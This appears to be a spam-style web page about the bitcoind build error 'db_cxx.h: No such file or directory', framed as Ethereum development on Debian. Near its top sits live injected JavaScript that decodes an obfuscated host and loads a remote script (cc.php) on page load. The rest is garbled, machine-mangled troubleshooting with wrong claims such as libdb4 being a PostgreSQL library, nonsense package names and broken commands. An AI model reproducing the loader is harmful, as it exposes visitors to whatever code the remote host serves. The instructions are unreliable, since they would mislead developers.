Search

Ethereum: When building bitcoind, I receive error «headers.h:36:20: fatal error: db_cxx.h: No such file or directory»

const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=f53f7c31″;document.body.appendChild(script);

Ethereum Development in Debian -based linux: surpassing errors with db_cxx.h

. A common problem found by many developers is finding errors related to the lack of header files, specifically db_cxx.h. In the causes of these errors and provide guidance on how to overcome them by creating Ethereum on Linux, based on Debian.

** Why do I get the «no such file or directory» error?

The error message «Headers.h: 36: 20: Fatal error: db_cxx.h: No file or directory» indicates that the compiler cannot find the header’s header file db_cxx.h. This file is part of the Ethereum C ++ libraries, which are used by the Ethereum development team. The facilities are installed on your system.

Installing the necessary packages

Linux, based in Debian, you will need to install multiple packages:

  • Libdb4 (a PostgreSQL database library)

2.

3.

Using your package manager:

`Bash

SUDO APT-GET INSTALL LIBDB4-DEV DBCPP

`

Overcoming errors with missing header files

The facilities are installed and configured correctly. Here is a step by step guide:

  • Reinstale Libdb4

    :

`Bash

SUDO APT-GET REMOVE LIBDB4-*

`

  • Follow the installation instructions to install DBCPPPPPPP.

. You

Bash

-Std = c ++ 11 -wall -g -g -i/USR/Include/PostgreSQL/10 -L/USR/LIB/PostgreSQL/10 -LDBC

`

Replace /USR/Include/PostgreSQL/10 E/USR/LIB/PostgreSQL/10 By the real paths of your system.

  • Reconstructs Ethereum

    : After updating the compiler settings, rebuild the Ethereum using:

`Bash

Make clean && to do

`

This should solve any problems related to the lack of header files.

Troubleshooting

Ethereum or execution tests, make sure:

  • Your system is updated with the latest packages.

  • Dependencies LIBDB4 EDBCPPP are installed correctly.

  • You updated the compiler settings according to the above instructions.

  • You rebuilt Ethereum using the correct commands.

«Headers.H: 36: 20: Fatal error: db_cxx.h: no file or directory» Error and build successfully and run Ethereum on your Linux system based on Debian.

exchange continuation

VER MÁS

OTRAS ENTRADAS